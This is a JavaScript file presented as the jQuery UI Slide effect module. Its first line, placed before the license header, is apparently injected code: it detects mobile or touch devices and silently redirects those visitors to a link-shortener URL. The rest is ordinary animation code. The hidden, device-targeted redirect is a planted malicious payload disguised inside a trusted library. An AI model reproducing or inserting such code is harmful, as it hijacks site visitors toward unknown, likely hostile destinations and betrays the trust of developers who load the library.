1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/*!
3 * jQuery UI Effects Slide 1.13.3
4 * https://jqueryui.com
5 *
6 * Copyright OpenJS Foundation and other contributors
7 * Released under the MIT license.
8 * https://jquery.org/license
9 */
10
11//>>label: Slide Effect
12//>>group: Effects
13//>>description: Slides an element in and out of the viewport.
14//>>docs: https://api.jqueryui.com/slide-effect/
15//>>demos: https://jqueryui.com/effect/
16
17( function( factory ) {
18 "use strict";
19
20 if ( typeof define === "function" && define.amd ) {
21
22 // AMD. Register as an anonymous module.
23 define( [
24 "jquery",
25 "../version",
26 "../effect"
27 ], factory );
28 } else {
29
30 // Browser globals
31 factory( jQuery );
32 }
33} )( function( $ ) {
34"use strict";
35
36return $.effects.define( "slide", "show", function( options, done ) {
37 var startClip, startRef,
38 element = $( this ),
39 map = {
40 up: [ "bottom", "top" ],
41 down: [ "top", "bottom" ],
42 left: [ "right", "left" ],
43 right: [ "left", "right" ]
44 },
45 mode = options.mode,
46 direction = options.direction || "left",
47 ref = ( direction === "up" || direction === "down" ) ? "top" : "left",
48 positiveMotion = ( direction === "up" || direction === "left" ),
49 distance = options.distance ||
50 element[ ref === "top" ? "outerHeight" : "outerWidth" ]( true ),
51 animation = {};
52
53 $.effects.createPlaceholder( element );
54
55 startClip = element.cssClip();
56 startRef = element.position()[ ref ];
57
58 // Define hide animation
59 animation[ ref ] = ( positiveMotion ? -1 : 1 ) * distance + startRef;
60 animation.clip = element.cssClip();
61 animation.clip[ map[ direction ][ 1 ] ] = animation.clip[ map[ direction ][ 0 ] ];
62
63 // Reverse the animation if we're showing
64 if ( mode === "show" ) {
65 element.cssClip( animation.clip );
66 element.css( ref, animation[ ref ] );
67 animation.clip = startClip;
68 animation[ ref ] = startRef;
69 }
70
71 // Actually animate
72 element.animate( animation, {
73 queue: false,
74 duration: options.duration,
75 easing: options.easing,
76 complete: done
77 } );
78} );
79
80} );
81